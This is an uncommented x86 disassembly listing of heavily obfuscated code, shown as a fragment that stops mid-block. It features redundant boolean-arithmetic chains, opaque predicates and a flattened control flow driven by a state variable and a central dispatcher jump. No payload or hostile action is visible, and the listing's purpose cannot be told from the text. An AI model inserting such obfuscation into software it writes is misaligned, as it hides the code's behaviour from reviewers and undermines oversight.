mov al, byte [ebp - 0x83238]
or bh, al
mov al, byte [ebp - 0x83220]
xor ah, bh
or ch, bl
xor ch, 0xff
or dh, 0
and ch, dh
or ah, ch
mov dh, 1
xor dh, 0
and dh, 1
mov ch, 1
xor ch, 1
and ch, 0
or dh, ch
xor dh, 0xff
xor dh, 1
and dh, 0xff
mov bh, 1
xor bh, 1
and bh, 1
mov ch, 1
xor ch, 1
and ch, 1
or bh, ch
mov bl, 1
xor bl, 0
xor bh, 0xff
mov ch, 1
xor ch, 0
or bl, bh
or ch, 0
xor bl, 0xff
and bl, ch
mov ch, dh
and ch, bl
xor dh, bl
or ch, dh
mov byte [ebp - 0x8321f], ch
mov bh, 1
xor bh, 0
and bh, 0
mov dh, 1
xor dh, 0
mov bl, dh
and bl, 0
mov ch, 1
xor ch, 1
and ch, 0
and dh, 1
or bh, bl
or ch, dh
xor bh, ch
mov bl, al
xor bl, 0xff
and bl, 1
mov dh, 1
xor dh, 1
and al, dh
mov ch, bh
xor ch, 0xff
and ch, 0xff
and bh, dh
mov dh, byte [ebp - 0x83220]
or bl, al
mov al, byte [ebp - 0x8321f]
or ch, bh
xor bl, ch
xor bl, 0xff
xor dh, 0xff
mov ch, 1
xor ch, 0
or bl, dh
or ch, 0
xor bl, 0xff
and bl, ch
mov dh, al
xor dh, 0xff
and dh, 1
mov ch, 1
xor ch, 1
and al, ch
or dh, al
mov ch, dl
xor ch, 0xff
mov al, dh
and al, ch
xor dh, 0xff
mov ch, dl
and ch, dh
or al, ch
xor dl, 0xff
mov ch, al
xor ch, dl
and ch, al
mov bh, 1
xor bh, 0
and bh, 0
mov dh, 1
xor dh, 0
mov al, dh
and al, 0
mov dl, 1
xor dl, 1
and dl, 0
and dh, 1
or bh, al
mov al, byte [ebp - 0x8321f]
or dl, dh
xor bh, dl
mov dh, ah
xor dh, 0xff
mov dl, bh
and dl, dh
xor bh, 0xff
mov dh, ah
and dh, bh
or dl, dh
xor dl, 0xff
mov bh, ah
xor bh, 0xff
mov dh, 1
xor dh, 0
or dl, bh
or dh, 0
xor dl, 0xff
and dl, dh
mov byte [ebp - 0x83224], dl
mov dh, al
xor dh, 0xff
and dh, 1
mov dl, 1
xor dl, 1
and al, dl
or dh, al
mov dl, cl
xor dl, 0xff
mov al, dh
and al, dl
xor dh, 0xff
mov dl, cl
and dl, dh
or al, dl
xor cl, 0xff
mov dl, al
xor dl, cl
and dl, al
mov bh, bl
xor bh, 0xff
and bh, 0
mov cl, 1
xor cl, 0
mov dh, bl
and dh, cl
mov al, 1
xor al, 1
and al, 0
and cl, 1
or bh, dh
or al, cl
xor bh, al
mov al, ch
xor al, 0xff
and al, 1
mov dh, 1
xor dh, 1
mov cl, ch
and cl, dh
or al, cl
mov byte [ebp - 0x8322a], al
mov al, 1
xor al, 1
and al, 1
mov byte [ebp - 0x83237], al
mov dh, 1
xor dh, 1
mov cl, dh
and cl, 1
mov al, 1
xor al, 1
and al, 0xff
mov byte [ebp - 0x83236], al
mov al, byte [ebp - 0x83237]
and dh, 1
or al, cl
mov cl, byte [ebp - 0x83236]
or cl, dh
xor al, cl
mov byte [ebp - 0x8322c], al
mov al, bh
xor al, 0xff
mov dh, 1
xor dh, 1
mov cl, 1
xor cl, 1
or al, dh
mov dh, byte [ebp - 0x8322c]
or cl, 1
xor al, 0xff
and al, cl
xor dh, 0xff
mov cl, bl
xor cl, dh
mov dh, byte [ebp - 0x8322a]
and cl, bl
mov bl, 1
xor bl, 1
xor dh, bl
mov bl, byte [ebp - 0x8322a]
and dh, bl
mov bl, byte [ebp - 0x8322c]
mov byte [ebp - 0x83231], dh
xor ch, 0xff
xor bl, 0xff
mov dh, 1
xor dh, 0
or ch, bl
or dh, 0
xor ch, 0xff
and ch, dh
mov byte [ebp - 0x83233], ch
mov ch, al
xor ch, 0xff
mov dh, cl
xor dh, 0xff
mov byte [ebp - 0x83232], dh
mov bl, 1
xor bl, 0
mov dh, ch
and dh, 0
and al, bl
mov byte [ebp - 0x83235], al
mov al, byte [ebp - 0x83232]
and al, 0
mov byte [ebp - 0x83234], al
mov al, byte [ebp - 0x83235]
and cl, bl
or dh, al
mov al, byte [ebp - 0x83234]
or al, cl
mov cl, byte [ebp - 0x83233]
xor dh, al
mov al, byte [ebp - 0x83232]
or ch, al
mov al, byte [ebp - 0x83231]
xor ch, 0xff
or bl, 0
and ch, bl
or dh, ch
mov bl, al
xor bl, 0xff
mov byte [ebp - 0x8322d], bl
mov ch, cl
xor ch, 0xff
mov byte [ebp - 0x8322e], ch
mov ch, 1
xor ch, 1
and bl, 0xff
and al, ch
mov byte [ebp - 0x83230], al
mov al, byte [ebp - 0x8322e]
and al, 0xff
mov byte [ebp - 0x8322f], al
mov al, byte [ebp - 0x83230]
and cl, ch
or bl, al
mov al, byte [ebp - 0x8322f]
or al, cl
mov cl, byte [ebp - 0x8322e]
xor bl, al
mov al, byte [ebp - 0x8322d]
or al, cl
mov cl, byte [ebp - 0x8322c]
xor al, 0xff
or ch, 1
and al, ch
or bl, al
mov ch, dh
xor ch, 0xff
and ch, 0
mov al, 1
xor al, 0
and dh, al
mov byte [ebp - 0x8322b], dh
mov dh, bl
xor dh, 0xff
and dh, 0
and bl, al
mov al, byte [ebp - 0x8322b]
or ch, al
mov al, byte [ebp - 0x8322a]
or dh, bl
xor ch, dh
mov byte [ebp - 0x83222], ch
mov bl, bh
xor bl, 0xff
mov byte [ebp - 0x83227], bl
mov dh, al
xor dh, 0xff
mov ch, 1
xor ch, 0
and bl, 0
and bh, ch
mov byte [ebp - 0x83229], bh
mov bh, dh
and bh, 0
and al, ch
mov byte [ebp - 0x83228], al
mov al, byte [ebp - 0x83229]
or bl, al
mov al, byte [ebp - 0x83228]
or bh, al
mov al, byte [ebp - 0x83227]
xor bl, bh
or al, dh
xor al, 0xff
or ch, 0
and al, ch
or bl, al
mov dh, bl
xor dh, 0xff
and dh, 1
mov ch, 1
xor ch, 1
and bl, ch
mov al, 1
xor al, 1
and al, 0xff
and ch, 1
or dh, bl
or al, ch
xor dh, al
mov ch, 1
xor ch, 1
mov al, cl
xor al, 0xff
mov byte [ebp - 0x83223], al
mov bh, 1
xor bh, 1
mov bl, ch
and bl, 0xff
mov al, bh
and al, 1
mov byte [ebp - 0x83226], al
mov al, byte [ebp - 0x83223]
and al, 0xff
mov byte [ebp - 0x83225], al
mov al, byte [ebp - 0x83226]
and cl, bh
or bl, al
mov al, byte [ebp - 0x83225]
or al, cl
mov cl, byte [ebp - 0x83224]
xor bl, al
mov al, byte [ebp - 0x83223]
or ch, al
mov al, byte [ebp - 0x83222]
xor ch, 0xff
or bh, 1
and ch, bh
or bl, ch
xor bl, 0xff
mov ch, dh
xor ch, bl
and ch, dh
mov bh, al
and bh, ch
xor al, ch
or bh, al
mov ch, dl
xor ch, 0xff
mov al, cl
xor al, ch
and al, cl
mov ch, cl
xor ch, 0xff
mov bl, dl
and bl, ch
xor dl, 0xff
and cl, dl
or bl, cl
mov cl, al
xor cl, 0xff
mov byte [ebp - 0x83221], cl
mov ch, bl
xor ch, 0xff
mov dl, 1
xor dl, 1
and cl, 0xff
and al, dl
mov dh, ch
and dh, 0xff
and bl, dl
or cl, al
mov al, byte [ebp - 0x83221]
or dh, bl
xor cl, dh
or al, ch
xor al, 0xff
or dl, 1
and al, dl
or cl, al
mov dh, bh
xor dh, 0xff
and dh, 0
mov dl, 1
xor dl, 0
mov ch, bh
and ch, dl
mov al, 1
xor al, 1
and al, 0
and dl, 1
or dh, ch
or al, dl
xor dh, al
xor dh, 0xff
xor dh, 0
and dh, 0
mov dl, 1
xor dl, 0
and dl, 0
mov ch, 1
xor ch, 0
mov bl, ch
and bl, 0
mov al, 1
xor al, 1
and al, 0
and ch, 1
or dl, bl
or al, ch
xor dl, al
xor bh, 0xff
mov ch, dl
xor ch, 0xff
mov al, 1
xor al, 1
or bh, ch
or al, 1
xor bh, 0xff
and bh, al
mov bl, cl
xor bl, 0xff
and bl, 1
mov ch, 1
xor ch, 1
mov al, cl
and al, ch
or bl, al
mov ch, 1
xor ch, 0
mov al, bl
xor al, ch
mov ch, byte [ebp - 0x8321f]
and al, bl
xor cl, 0xff
xor dl, 0xff
mov bl, 1
xor bl, 0
or cl, dl
mov dl, byte [ebp - 0x83220]
or bl, 0
xor cl, 0xff
and cl, bl
mov bl, dh
and bl, bh
xor dh, bh
or bl, dh
mov dh, al
and dh, cl
xor al, cl
or dh, al
mov al, bl
xor al, 0xff
and al, 1
mov bh, 1
xor bh, 1
and bl, bh
mov cl, dh
xor cl, 0xff
and cl, 0xff
and dh, bh
or al, bl
or cl, dh
xor al, cl
mov byte [ebp - 0x83215], al
mov cl, ah
xor cl, 0xff
mov al, dl
xor al, cl
and al, dl
mov dh, dl
xor dh, 0xff
mov cl, ah
and cl, dh
xor ah, 0xff
and dl, ah
or cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov al, dl
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
mov cl, dl
and cl, ah
or al, cl
xor al, 0xff
xor al, 1
and al, 0xff
mov ah, 1
xor ah, 1
and ah, 1
mov dh, 1
xor dh, 1
mov bl, dh
and bl, 1
mov cl, 1
xor cl, 1
and cl, 0xff
and dh, 1
or ah, bl
or cl, dh
xor ah, cl
xor ah, 0xff
mov cl, dl
xor cl, ah
and cl, dl
mov ah, al
and ah, cl
xor al, cl
or ah, al
mov dl, 1
xor dl, 0
and dl, 1
mov al, 1
xor al, 1
and al, 0
or dl, al
mov dh, ch
xor dh, 0xff
and dh, 0
mov cl, 1
xor cl, 0
and ch, cl
mov al, 1
xor al, 1
and al, 0
and cl, 1
or dh, ch
or al, cl
xor dh, al
mov ch, 1
xor ch, 1
and ch, 1
mov cl, 1
xor cl, 1
mov bl, cl
and bl, 1
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or ch, bl
or al, cl
xor ch, al
mov al, 1
xor al, 1
mov bh, dl
xor bh, al
and bh, dl
mov cl, 1
xor cl, 0
mov bl, ch
xor bl, 0xff
mov al, 1
xor al, 1
or cl, bl
or al, 1
xor cl, 0xff
and cl, al
mov bl, 1
xor bl, 1
mov al, dh
xor al, bl
mov bl, byte [ebp - 0x8321f]
and al, dh
mov byte [ebp - 0x8321c], al
xor bl, 0xff
mov al, ch
xor al, 0xff
mov byte [ebp - 0x8321e], al
mov al, 1
xor al, 0
mov byte [ebp - 0x8321d], al
mov al, byte [ebp - 0x8321e]
or bl, al
mov al, byte [ebp - 0x8321d]
or al, 0
xor bl, 0xff
and bl, al
mov al, byte [ebp - 0x8321c]
mov byte [ebp - 0x8321b], bl
mov bl, bh
and bl, cl
xor bh, cl
mov cl, byte [ebp - 0x8321b]
or bl, bh
mov bh, al
xor bh, 0xff
mov byte [ebp - 0x83217], bh
xor cl, 0xff
mov byte [ebp - 0x83218], cl
mov cl, 1
xor cl, 0
mov byte [ebp - 0x83216], cl
and bh, 0
and al, cl
mov cl, byte [ebp - 0x8321b]
mov byte [ebp - 0x8321a], al
mov al, byte [ebp - 0x83218]
and al, 0
mov byte [ebp - 0x83219], al
mov al, byte [ebp - 0x83216]
and cl, al
mov al, byte [ebp - 0x8321a]
or bh, al
mov al, byte [ebp - 0x83219]
or al, cl
mov cl, byte [ebp - 0x83218]
xor bh, al
mov al, byte [ebp - 0x83217]
or al, cl
mov cl, byte [ebp - 0x83216]
xor al, 0xff
or cl, 0
and al, cl
or bh, al
mov cl, bl
xor cl, 0xff
mov al, bh
and al, cl
mov cl, byte [ebp - 0x83215]
xor bh, 0xff
and bl, bh
or al, bl
mov bh, dl
and bh, dh
xor dl, dh
or bh, dl
mov dl, bh
xor dl, 0xff
and dl, 1
mov bl, 1
xor bl, 1
and bh, bl
mov dh, 1
xor dh, 1
and dh, 0xff
and bl, 1
or dl, bh
or dh, bl
xor dl, dh
mov dh, ch
and dh, 1
xor ch, 1
or dh, ch
xor dh, 0xff
mov ch, dl
xor ch, dh
and ch, dl
mov dl, al
and dl, ch
xor al, ch
or dl, al
mov al, ah
xor al, 0xff
and al, 1
mov ch, 1
xor ch, 1
and ah, ch
or al, ah
mov bl, dl
xor bl, 0xff
and bl, 1
mov ah, 1
xor ah, 1
and dl, ah
or bl, dl
mov bh, 1
xor bh, 1
and bh, 0
mov ah, 1
xor ah, 0
mov ch, ah
and ch, 1
mov dl, 1
xor dl, 1
and dl, 0
and ah, 1
or bh, ch
or dl, ah
xor bh, dl
mov dh, al
xor dh, 0xff
mov byte [ebp - 0x83214], dh
mov ah, bl
xor ah, 0xff
mov dl, 1
xor dl, 0
and dh, 0
and al, dl
mov ch, ah
and ch, 0
and bl, dl
or dh, al
mov al, byte [ebp - 0x83214]
or ch, bl
xor dh, ch
or al, ah
xor al, 0xff
or dl, 0
and al, dl
or dh, al
mov ah, 1
xor ah, 1
mov byte [ebp - 0x83213], ah
mov ch, bh
xor ch, 0xff
mov dl, 1
xor dl, 1
and ah, 0xff
mov al, dl
and al, 1
mov bl, ch
and bl, 0xff
and bh, dl
or ah, al
mov al, byte [ebp - 0x83213]
or bl, bh
xor ah, bl
or al, ch
xor al, 0xff
or dl, 1
and al, dl
or ah, al
mov al, dh
xor al, 0xff
and al, 1
mov ch, 1
xor ch, 1
and dh, ch
mov dl, 1
xor dl, 1
and dl, 0xff
and ch, 1
or al, dh
or dl, ch
xor al, dl
xor ah, 0xff
mov dl, al
xor dl, ah
and dl, al
mov ah, cl
xor ah, 0xff
and ah, 1
mov ch, 1
xor ch, 1
mov al, cl
and al, ch
or ah, al
mov byte [ebp - 0x8320b], ah
mov dh, dl
xor dh, 0xff
and dh, 1
mov ch, 1
xor ch, 1
mov al, dl
and al, ch
or dh, al
mov bh, 1
xor bh, 1
and bh, 1
mov al, 1
xor al, 1
and al, 1
or bh, al
mov ch, 1
xor ch, 1
mov al, ah
xor al, ch
and al, ah
xor cl, 0xff
mov ch, bh
xor ch, 0xff
mov ah, 1
xor ah, 1
or cl, ch
or ah, 1
xor cl, 0xff
and cl, ah
mov ch, 1
xor ch, 1
mov ah, dh
xor ah, ch
and ah, dh
mov byte [ebp - 0x8320f], ah
xor dl, 0xff
mov ch, bh
xor ch, 0xff
mov ah, 1
xor ah, 1
or dl, ch
or ah, 1
xor dl, 0xff
and dl, ah
mov byte [ebp - 0x83210], dl
mov dl, al
xor dl, 0xff
mov bl, cl
xor bl, 0xff
mov ch, 1
xor ch, 0
mov ah, dl
and ah, 0
and al, ch
mov byte [ebp - 0x83212], al
mov al, bl
and al, 0
mov byte [ebp - 0x83211], al
mov al, byte [ebp - 0x83212]
and cl, ch
or ah, al
mov al, byte [ebp - 0x83211]
or al, cl
mov cl, byte [ebp - 0x83210]
xor ah, al
mov al, byte [ebp - 0x8320f]
or dl, bl
xor dl, 0xff
or ch, 0
and dl, ch
or ah, dl
mov dl, al
xor dl, 0xff
mov byte [ebp - 0x8320c], dl
mov bl, cl
xor bl, 0xff
mov ch, 1
xor ch, 1
and dl, 0xff
and al, ch
mov byte [ebp - 0x8320e], al
mov al, bl
and al, 0xff
mov byte [ebp - 0x8320d], al
mov al, byte [ebp - 0x8320e]
and cl, ch
or dl, al
mov al, byte [ebp - 0x8320d]
or al, cl
mov cl, byte [ebp - 0x8320c]
xor dl, al
mov al, byte [ebp - 0x8320b]
or cl, bl
xor cl, 0xff
or ch, 1
and cl, ch
or dl, cl
mov bl, ah
xor bl, 0xff
and bl, 0
mov ch, 1
xor ch, 0
and ah, ch
mov cl, dl
xor cl, 0xff
and cl, 0
and dl, ch
or bl, ah
or cl, dl
xor bl, cl
mov dl, al
xor dl, 0xff
mov byte [ebp - 0x8320a], dl
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
and dl, 0
and al, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, al
mov al, byte [ebp - 0x8320a]
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov dh, dl
xor dh, 0xff
and dh, 1
mov cl, 1
xor cl, 1
and dl, cl
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or dh, dl
or al, cl
xor dh, al
mov cl, 1
xor cl, 1
mov byte [ebp - 0x83209], cl
mov ah, bh
xor ah, 0xff
mov dl, 1
xor dl, 1
and cl, 0xff
mov al, dl
and al, 1
mov ch, ah
and ch, 0xff
and bh, dl
or cl, al
mov al, byte [ebp - 0x83209]
or ch, bh
xor cl, ch
or al, ah
xor al, 0xff
or dl, 1
and al, dl
or cl, al
xor dh, 0xff
xor cl, 0xff
mov al, 1
xor al, 0
or dh, cl
or al, 0
xor dh, 0xff
and dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x578ac8d8
mov ecx, 0xd2ed3c34
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x831e0], eax
jmp 0x42c10b
mov edx, dword [ebp - 0x83130]
mov esi, dword [ebp - 0x8312c]
mov eax, 0xb065c753
mov ecx, 0x14efbb01
cmp edx, esi
cmovl eax, ecx
mov dword [ebp - 0x831e0], eax
jmp 0x42c10b
mov eax, dword [ebp - 0x83194]
mov dword [ebp - 0x83128], eax
mov eax, dword [0x530348]
mov ecx, dword [0x530344]
xor esi, esi
sub esi, 0x174ed13
add esi, 0
xor edx, edx
sub edx, 1
add esi, edx
add esi, 0xe4119d83
add esi, 0x174ed13
sub esi, 0xe4119d83
xor edi, edi
sub edi, eax
xor edx, edx
sub edx, 0xf2570e5f
add edi, edx
xor edx, edx
sub edx, edi
add edx, 0x318970d0
add edx, esi
sub edx, 0x318970d0
add edx, 0xe49929d0
sub edx, 0xf2570e5f
sub edx, 0xe49929d0
imul eax, edx
and eax, 1
cmp eax, 0
sete ah
cmp ecx, 0xa
setl dl
mov bh, ah
xor bh, 0xff
and bh, 1
mov cl, 1
xor cl, 1
mov al, ah
and al, cl
or bh, al
mov al, dl
xor al, 0xff
and al, 1
mov ch, 1
xor ch, 1
mov dh, dl
and dh, ch
mov cl, 1
xor cl, 1
and cl, 0xff
and ch, 1
or al, dh
or cl, ch
xor al, cl
mov cl, 1
xor cl, 1
and cl, 1
mov ch, 1
xor ch, 1
and ch, 1
or cl, ch
mov byte [ebp - 0x832aa], cl
mov ch, bh
xor ch, 0xff
mov bl, al
xor bl, 0xff
mov dh, 1
xor dh, 1
mov cl, ch
and cl, 0xff
and bh, dh
mov byte [ebp - 0x832ac], bh
mov bh, bl
and bh, 0xff
and al, dh
mov byte [ebp - 0x832ab], al
mov al, byte [ebp - 0x832ac]
or cl, al
mov al, byte [ebp - 0x832ab]
or bh, al
mov al, byte [ebp - 0x832aa]
xor cl, bh
or ch, bl
xor ch, 0xff
or dh, 1
and ch, dh
or cl, ch
mov ch, al
and ch, 1
xor al, 1
or ch, al
mov al, cl
xor al, 0xff
and al, 1
mov dh, 1
xor dh, 1
and cl, dh
or al, cl
xor al, 0xff
xor ch, 0xff
mov cl, 1
xor cl, 0
or al, ch
or cl, 0
xor al, 0xff
and al, cl
mov ch, ah
xor ch, 0xff
and ch, 1
mov dh, 1
xor dh, 1
mov bl, ah
and bl, dh
mov cl, 1
xor cl, 1
and cl, 0xff
and dh, 1
or ch, bl
or cl, dh
xor ch, cl
xor ch, 0xff
mov cl, dl
xor cl, ch
and cl, dl
mov ch, dl
xor ch, 0xff
and ch, 1
mov dh, 1
xor dh, 1
and dl, dh
or ch, dl
xor ch, 0xff
mov dl, ah
xor dl, ch
and dl, ah
mov ch, cl
and ch, dl
xor cl, dl
or ch, cl
mov dl, al
xor dl, 0xff
and dl, 1
mov ah, 1
xor ah, 1
mov dh, al
and dh, ah
mov cl, 1
xor cl, 1
and cl, 0xff
and ah, 1
or dl, dh
or cl, ah
xor dl, cl
mov byte [ebp - 0x832a9], dl
mov dh, ch
xor dh, 0xff
and dh, 1
mov ah, 1
xor ah, 1
mov cl, ch
and cl, ah
or dh, cl
mov bh, 1
xor bh, 0
and bh, 1
mov ah, 1
xor ah, 1
mov bl, ah
and bl, 0
mov cl, 1
xor cl, 1
and cl, 0xff
and ah, 1
or bh, bl
or cl, ah
xor bh, cl
xor dl, 0xff
mov ah, 1
xor ah, 0
mov cl, 1
xor cl, 1
or dl, ah
or cl, 1
xor dl, 0xff
and dl, cl
mov cl, bh
xor cl, 0xff
mov bl, al
xor bl, cl
and bl, al
mov al, 1
xor al, 0
mov cl, dh
xor cl, al
and cl, dh
xor ch, 0xff
mov al, bh
xor al, 0xff
mov ah, 1
xor ah, 1
or ch, al
mov al, byte [ebp - 0x832a9]
or ah, 1
xor ch, 0xff
and ch, ah
mov ah, dl
and ah, bl
xor dl, bl
or ah, dl
mov dl, cl
and dl, ch
xor cl, ch
or dl, cl
mov bl, ah
xor bl, 0xff
and bl, 0
mov ch, 1
xor ch, 0
and ah, ch
mov cl, dl
xor cl, 0xff
and cl, 0
and dl, ch
or bl, ah
or cl, dl
xor bl, cl
mov ah, al
xor ah, 0xff
mov byte [ebp - 0x832a8], ah
mov dl, dh
xor dl, 0xff
mov cl, 1
xor cl, 0
and ah, 0
and al, cl
mov ch, dl
and ch, 0
and dh, cl
or ah, al
mov al, byte [ebp - 0x832a8]
or ch, dh
xor ah, ch
or al, dl
xor al, 0xff
or cl, 0
and al, cl
or ah, al
mov al, ah
xor al, 0xff
and al, 0
mov dl, 1
xor dl, 0
and ah, dl
mov cl, 1
xor cl, 1
and cl, 0
and dl, 1
or al, ah
or cl, dl
xor al, cl
mov byte [ebp - 0x832a7], al
mov dl, 1
xor dl, 0
mov ch, bh
xor ch, 0xff
mov ah, 1
xor ah, 1
mov cl, dl
and cl, 0xff
mov al, ah
and al, 0
mov dh, ch
and dh, 0xff
and bh, ah
or cl, al
mov al, byte [ebp - 0x832a7]
or dh, bh
xor cl, dh
or dl, ch
xor dl, 0xff
or ah, 1
and dl, ah
or cl, dl
xor cl, 0xff
mov dh, al
xor dh, cl
and dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x677847a6
mov ecx, 0xef44798e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x831e0], eax
jmp 0x42c10b
mov eax, dword [ebp - 0x83128]
xor esi, esi
sub esi, 1
add esi, 0
xor ecx, ecx
sub ecx, 0
xor edx, edx
sub edx, esi
add ecx, edx
xor edx, edx
sub edx, ecx
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0xf55f2fe6
add ecx, eax
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
sub eax, 0x162e4f9
sub eax, 0xf55f2fe6
add eax, 0x162e4f9
mov dword [ebp - 0x83194], eax
mov dword [ebp - 0x831e0], 0xfa635f9a
jmp 0x42c10b
mov eax, dword [ebp - 0x83188]
mov dword [ebp - 0x83124], eax
mov eax, dword [ebp - 0x83184]
mov dword [ebp - 0x83120], eax
mov dword [ebp - 0x831e0], 0x74c0d94a
jmp 0x42c10b
mov eax, dword [ebp - 0x8311c]
mov dword [ebp - 0x8319c], eax
mov dword [ebp - 0x831a0], 0
mov ecx, dword [0x530348]
mov eax, dword [0x530344]
mov edi, 0xbe00e8fc
add edi, 0
add edi, 0x66dc1af5
sub edi, 0xbe00e8fc
add edi, 0x413c9b13
sub edi, 1
sub edi, 0x413c9b13
add edi, 0xe2f60caf
sub edi, 0x66dc1af5
sub edi, 0xe2f60caf
xor esi, esi
sub esi, 0xd2c1d988
sub esi, ecx
add esi, 0xd2c1d988
mov edx, 0xe015a12
add edx, 0
sub edx, edi
sub edx, 0xe015a12
add esi, 0xae732780
add esi, edx
sub esi, 0xae732780
mov edx, 0x7b6a03b4
add edx, 0
sub edx, esi
sub edx, 0x7b6a03b4
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl al
mov byte [ebp - 0x832ff], al
mov cl, bl
xor cl, 0xff
and cl, 1
mov ah, 1
xor ah, 1
mov dl, bl
and dl, ah
or cl, dl
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov ch, 1
xor ch, 1
and ch, 1
mov ah, 1
xor ah, 1
mov dh, ah
and dh, 1
mov dl, 1
xor dl, 1
and dl, 0xff
and ah, 1
or ch, dh
or dl, ah
xor ch, dl
mov dl, bl
xor dl, 0xff
xor ch, 0xff
mov ah, 1
xor ah, 0
or dl, ch
or ah, 0
xor dl, 0xff
and dl, ah
mov ah, cl
and ah, dl
xor cl, dl
or ah, cl
mov dl, al
xor dl, 0xff
and dl, 0
mov ch, 1
xor ch, 0
mov dh, al
and dh, ch
mov cl, 1
xor cl, 1
and cl, 0
and ch, 1
or dl, dh
or cl, ch
xor dl, cl
xor dl, 0xff
xor dl, 1
and dl, 0xff
mov ch, 1
xor ch, 1
and ch, 1
mov cl, 1
xor cl, 1
and cl, 1
or ch, cl
mov cl, ch
xor cl, 0xff
mov dh, al
xor dh, cl
and dh, al
mov cl, 1
xor cl, 1
and cl, 0
mov bh, 1
xor bh, 0
mov al, bh
and al, 1
mov byte [ebp - 0x83311], al
mov al, 1
xor al, 1
and al, 0
mov byte [ebp - 0x83310], al
mov al, byte [ebp - 0x83311]
and bh, 1
or cl, al
mov al, byte [ebp - 0x83310]
or al, bh
xor cl, al
mov bh, 1
xor bh, 1
mov al, cl
xor al, bh
and al, cl
xor ch, 0xff
xor ch, 1
and ch, 0xff
mov cl, dl
and cl, dh
xor dl, dh
or cl, dl
mov dl, al
and dl, ch
xor al, ch
or dl, al
mov ch, cl
xor ch, 0xff
mov al, dl
and al, ch
xor dl, 0xff
and cl, dl
or al, cl
mov byte [ebp - 0x832f9], al
mov cl, 1
xor cl, 1
and cl, 1
mov al, 1
xor al, 1
and al, 1
or cl, al
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov ch, 1
xor ch, 1
and ch, 1
mov dl, 1
xor dl, 1
mov dh, dl
and dh, 1
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or ch, dh
or al, dl
xor ch, al
mov dl, 1
xor dl, 1
xor ch, 0xff
mov al, 1
xor al, 0
or dl, ch
or al, 0
xor dl, 0xff
and dl, al
mov al, cl
and al, dl
xor cl, dl
or al, cl
mov byte [ebp - 0x832ef], al
mov ch, ah
xor ch, 0xff
and ch, 0
mov cl, 1
xor cl, 0
mov dl, ah
and dl, cl
mov al, 1
xor al, 1
and al, 0
and cl, 1
or ch, dl
or al, cl
xor ch, al
mov al, 1
xor al, 1
and al, 0
mov dl, 1
xor dl, 0
mov dh, dl
and dh, 1
mov cl, 1
xor cl, 1
and cl, 0
and dl, 1
or al, dh
or cl, dl
xor al, cl
mov cl, 1
xor cl, 1
and cl, 1
mov dl, 1
xor dl, 1
and dl, 1
or cl, dl
mov byte [ebp - 0x8330d], cl
mov cl, ch
xor cl, 0xff
mov dh, al
xor dh, 0xff
mov dl, 1
xor dl, 1
mov bh, cl
and bh, 0xff
and ch, dl
mov byte [ebp - 0x8330f], ch
mov ch, dh
and ch, 0xff
and al, dl
mov byte [ebp - 0x8330e], al
mov al, byte [ebp - 0x8330f]
or bh, al
mov al, byte [ebp - 0x8330e]
or ch, al
mov al, byte [ebp - 0x8330d]
xor bh, ch
mov ch, byte [ebp - 0x832ef]
or cl, dh
xor cl, 0xff
or dl, 1
and cl, dl
or bh, cl
mov cl, al
and cl, 1
xor al, 1
or cl, al
mov al, bh
xor al, 0xff
and al, 1
mov dh, 1
xor dh, 1
and bh, dh
mov dl, 1
xor dl, 1
and dl, 0xff
and dh, 1
or al, bh
or dl, dh
xor al, dl
xor cl, 0xff
mov dl, al
xor dl, cl
and dl, al
mov al, bl
xor al, 0xff
and al, 0
mov dh, 1
xor dh, 0
and bl, dh
mov cl, 1
xor cl, 1
and cl, 0
and dh, 1
or al, bl
or cl, dh
xor al, cl
mov cl, ch
xor cl, 0xff
and cl, 1
mov dh, 1
xor dh, 1
and ch, dh
or cl, ch
mov ch, 1
xor ch, 0
and ch, 0
mov bl, 1
xor bl, 0
mov bh, bl
and bh, 0
mov dh, 1
xor dh, 1
and dh, 0
and bl, 1
or ch, bh
or dh, bl
xor ch, dh
mov byte [ebp - 0x8330a], ch
mov ch, al
xor ch, 0xff
mov bh, cl
xor bh, 0xff
mov bl, 1
xor bl, 0
mov dh, ch
and dh, 0
and al, bl
mov byte [ebp - 0x8330c], al
mov al, bh
and al, 0
mov byte [ebp - 0x8330b], al
mov al, byte [ebp - 0x8330c]
and cl, bl
or dh, al
mov al, byte [ebp - 0x8330b]
or al, cl
mov cl, byte [ebp - 0x8330a]
xor dh, al
mov al, byte [ebp - 0x832f9]
or ch, bh
xor ch, 0xff
or bl, 0
and ch, bl
or dh, ch
mov ch, cl
and ch, 0
xor cl, 0
or ch, cl
mov cl, dh
xor cl, 0xff
and cl, 1
mov bl, 1
xor bl, 1
and dh, bl
or cl, dh
xor ch, 0xff
mov bl, cl
xor bl, ch
and bl, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov ch, 1
xor ch, 1
and al, ch
or cl, al
mov al, 1
xor al, 1
and al, 1
mov ch, 1
xor ch, 1
and ch, 1
or al, ch
mov byte [ebp - 0x83309], al
mov al, 1
xor al, 1
and al, 1
mov dh, 1
xor dh, 1
mov bh, dh
and bh, 1
mov ch, 1
xor ch, 1
and ch, 0xff
and dh, 1
or al, bh
